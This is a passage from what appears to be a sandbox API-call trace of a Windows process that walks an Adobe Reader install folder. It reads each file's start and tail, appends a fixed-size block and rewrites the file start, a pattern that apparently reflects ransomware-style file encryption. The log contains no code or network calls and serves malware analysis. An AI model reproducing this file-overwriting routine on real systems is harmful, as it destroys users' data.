dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.869] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H", lpFilePart=0x2e0f690*="HKdla-B5-H") returned 0x41 [0044.870] GetLastError () returned 0x5 [0044.870] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.870] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.870] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.870] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.870] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.870] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.870] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKdla-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkdla-b5-h")) returned 0x20 [0044.870] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkscs-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.870] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H", lpFilePart=0x2e0f690*="HKscs-B5-H") returned 0x41 [0044.870] GetLastError () returned 0x5 [0044.870] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.870] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.870] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.870] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.871] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.871] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.871] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKscs-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkscs-b5-h")) returned 0x20 [0044.871] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.871] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V", lpFilePart=0x2e0f690*="KSCms-UHC-V") returned 0x42 [0044.871] GetLastError () returned 0x5 [0044.871] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.871] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.871] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.871] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.872] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.872] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.872] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-v")) returned 0x20 [0044.872] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-kscms-uhc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.872] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC", lpFilePart=0x2e0f690*="UCS2-KSCms-UHC") returned 0x45 [0044.872] GetLastError () returned 0x5 [0044.872] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.872] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.872] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.872] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.872] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.873] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.873] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-KSCms-UHC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-kscms-uhc")) returned 0x20 [0044.873] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.873] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-H", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-H", lpFilePart=0x2e0f690*="UniJIS-UCS2-H") returned 0x44 [0044.873] GetLastError () returned 0x5 [0044.873] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.873] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.873] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.873] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.873] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.873] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.873] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-h")) returned 0x20 [0044.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-utf16-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.874] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-H", nBufferLength=0x104, lpBuffer=0x2e0f694, lpFilePart=0x2e0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-H", lpFilePart=0x2e0f690*="UniKS-UTF16-H") returned 0x44 [0044.874] GetLastError () returned 0x5 [0044.874] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2e0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pˠ폈Hˠ퐔HˠLˠꢈǦ\x01") returned 0x13 [0044.874] LocalFree (hMem=0x70b5a8) returned 0x0 [0044.874] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2e0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0044.874] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2e0f894) [0044.874] RtlUnwind (TargetFrame=0x2e0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.874] RtlUnwind (TargetFrame=0x2e0f920, TargetIp=0x407184, ExceptionRecord=0x2e0f378, ReturnValue=0x0) [0044.874] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-utf16-h")) returned 0x20 [0044.874] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.875] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.875] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x11380 [0044.875] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.875] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.875] ReleaseMutex (hMutex=0x128) returned 1 [0044.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Regular.otf", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0044.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-Regular.otf", cchWideChar=23, lpMultiByteStr=0x1e78c44, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-Regular.otf", lpUsedDefaultChar=0x0) returned 23 [0044.875] ReadFile (in: hFile=0x198, lpBuffer=0x1da5ed8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0044.884] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x10380 [0044.884] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.889] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x10380 [0044.889] WriteFile (in: hFile=0x198, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.889] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0044.889] WriteFile (in: hFile=0x198, lpBuffer=0x2613c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613c48*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0044.890] CloseHandle (hObject=0x198) returned 1 [0044.890] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.890] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.890] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x38600 [0044.890] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.890] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.890] ReleaseMutex (hMutex=0x128) returned 1 [0044.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0044.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0044.891] ReadFile (in: hFile=0x198, lpBuffer=0x1da5ed8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesRead=0x2e0f278*=0x8000, lpOverlapped=0x0) returned 1 [0044.905] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x37600 [0044.906] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.914] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x37600 [0044.924] WriteFile (in: hFile=0x198, lpBuffer=0x1dadf08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dadf08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.924] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0044.924] WriteFile (in: hFile=0x198, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2e0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0044.925] CloseHandle (hObject=0x198) returned 1 [0044.925] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\zy______.pfm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\zy______.pfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.925] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.925] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2ac [0044.925] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.925] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.925] ReleaseMutex (hMutex=0x128) returned 1 [0044.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zy______.pfm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0044.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="zy______.pfm", cchWideChar=12, lpMultiByteStr=0x1e6306c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zy______.pfm", lpUsedDefaultChar=0x0) returned 12 [0044.926] ReadFile (in: hFile=0x198, lpBuffer=0x2739038, nNumberOfBytesToRead=0x2ac, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x2e0f2bc*=0x2ac, lpOverlapped=0x0) returned 1 [0044.926] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0044.926] WriteFile (in: hFile=0x198, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x834, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2e0f2d0*=0x834, lpOverlapped=0x0) returned 1 [0044.927] CloseHandle (hObject=0x198) returned 1 [0044.927] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_iq.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.927] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.927] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x6c96 [0044.927] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.927] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.927] ReleaseMutex (hMutex=0x128) returned 1 [0044.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IQ.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.927] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_IQ.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_IQ.txt", lpUsedDefaultChar=0x0) returned 30 [0044.927] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.934] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5c96 [0044.934] ReadFile (in: hFile=0x198, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0044.947] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5c96 [0044.947] WriteFile (in: hFile=0x198, lpBuffer=0x25c74d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c74d8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0044.948] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0044.948] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0044.948] CloseHandle (hObject=0x198) returned 1 [0044.948] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_sy.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0044.949] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.949] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x6c96 [0044.949] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0044.949] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0044.949] ReleaseMutex (hMutex=0x128) returned 1 [0044.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SY.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0044.949] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_SY.txt", cchWideChar=30, lpMultiByteStr=0x1e7fb4c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_SY.txt", lpUsedDefaultChar=0x0) returned 30 [0044.949] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.464] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x5c96 [0045.465] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0045.468] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: 